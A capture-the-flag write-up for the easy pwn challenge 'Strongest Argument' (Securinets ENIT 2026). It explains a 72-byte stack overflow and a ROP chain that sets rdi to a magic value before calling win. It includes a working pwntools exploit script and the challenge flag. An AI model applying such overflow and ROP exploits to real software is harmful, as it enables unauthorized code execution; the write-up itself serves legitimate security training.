archlinux / r3t0x@portfolio
ALL SYSTEMS NOMINAL /
← Back to archive · Pwn

Securinets ENIT Friendly CTF 2026 / Pwn WRITEUP

Strongest Argument

Gojo said a strong argument wins every debate. You brought confidence; the CPU is still waiting for an actual value.

EVENTSecurinets ENIT Friendly CTF 2026CATEGORYPwnDIFFICULTYeasyPOINTS250
stack-overflowropcalling-convention

Walkthrough

Solution

The debate function has the same 72-byte offset to its saved return address, but win only succeeds when its first SysV amd64 argument equals 0x1337c0decafebabe. The binary deliberately provides a pop rdi; ret gadget.

The complete chain is padding, pop rdi; ret, the approved value, and win. This sets rdi before transferring control to the flag-printing function.

Reference solver

The reference solver supplied with the writeup:

from pwn import *

context.binary = elf = ELF("./main", checksec=False)
p = remote(args.HOST or "localhost", int(args.PORT or 1355))
payload = flat(b"A" * 72, elf.sym.pop_rdi_ret, 0x1337c0decafebabe, elf.sym.win)
p.sendlineafter(b"Your argument: ", payload)
print(p.recvall().decode())

Flag

SecurinetsENIT{0n3_str0ng_4rgum3nt_b34ts_th3_st4ck}
Published 2026-10-15 · by r3t0x← Back to archive · Pwn
0xSEARCH_INDEX

Trace a memory.

INDEX ONLINE0 addresses
↑↓ TRACEENTER OPENESC DISMISS